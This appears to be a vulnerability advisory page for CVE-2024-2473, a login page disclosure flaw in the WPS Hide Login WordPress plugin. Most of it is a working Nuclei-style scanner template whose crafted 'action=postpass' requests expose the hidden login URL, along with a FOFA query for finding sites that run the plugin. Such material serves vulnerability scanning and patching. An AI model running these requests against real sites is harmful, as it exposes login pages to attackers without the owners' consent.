CVE-2024-2473: WPS Hide Login <= 1.9.15.2 - Login Page Disclosure

2025-08-01 WPS Hide Login PoC Public

Description

The WPS Hide Login plugin for WordPress is vulnerable to Login Page Disclosure in all versions up to, and including, 1.9.15.2. This is due to a bypass that is created when the 'action=postpass' parameter is supplied. This makes it possible for attackers to easily discover any login page that may have been hidden by the plugin.

PoC

id: CVE-2024-2473

info:
  name: WPS Hide Login <= 1.9.15.2 - Login Page Disclosure
  author: popcorn94,rodtvs
  severity: medium
  description: |
    The WPS Hide Login plugin for WordPress is vulnerable to Login Page Disclosure in all versions up to, and including, 1.9.15.2. This is due to a bypass that is created when the 'action=postpass' parameter is supplied. This makes it possible for attackers to easily discover any login page that may have been hidden by the plugin.
  impact: |
    Attackers can discover hidden WordPress login pages by bypassing the WPS Hide Login plugin's protection mechanism.
  remediation: |
    Update WPS Hide Login plugin to a version newer than 1.9.15.2.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wps-hide-login/wps-hide-login-19152-login-page-disclosure
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2473
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-2473
    cwe-id: CWE-200
    epss-score: 0.01235
    epss-percentile: 0.67528
    cpe: cpe:2.3:a:wpserveur:wps_hide_login:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="/wp-content/plugins/wps-hide-login"
    vendor: wpserveur
    product: wps-hide-login
  tags: cve,cve2024,wordpress,wp-plugin,wp,disclosure,wps-hide-login,vuln,vkev

flow: http(1) && (http(2) || http(3))

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    host-redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "wp-content"
          - "wp-includes"
        condition: or
        internal: true

  - raw:
      - |
        POST /wp-login.php?action=postpass HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=lostpassword&post_password=test
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "lostpasswordform", "action=")'
          - '!contains(body, "wp-login.php")'
          - 'regex("<form[^>]+action=\"([^\"]+lostpassword[^\"]*)\"", body)'
        condition: and
    extractors:
      - type: regex
        part: body
        name: hidden_login_url
        group: 1
        regex:
          - '<form[^>]+action="([^"]+lostpassword[^"]*)"'

  - raw:
      - |
        POST /wp-admin/?action=postpass HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "Location")'
          - 'contains_any(header, "reauth=1", "/login")'
          - 'regex("(?i)Location:.*lostpassword", header)'
        condition: and

    extractors:
      - type: regex
        part: header
        name: hidden_login_url
        group: 1
        regex:
          - '(?i)Location:\s*(.+)'
# digest: 4a0a00473045022011fa520aba00851c6b7e16e18c3718c90f446b807824fcd028998d3113b3bc2e022100f078880ce7169710569c7f38a6faec30e52724ca24ab853f2f1704eac1fe376b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities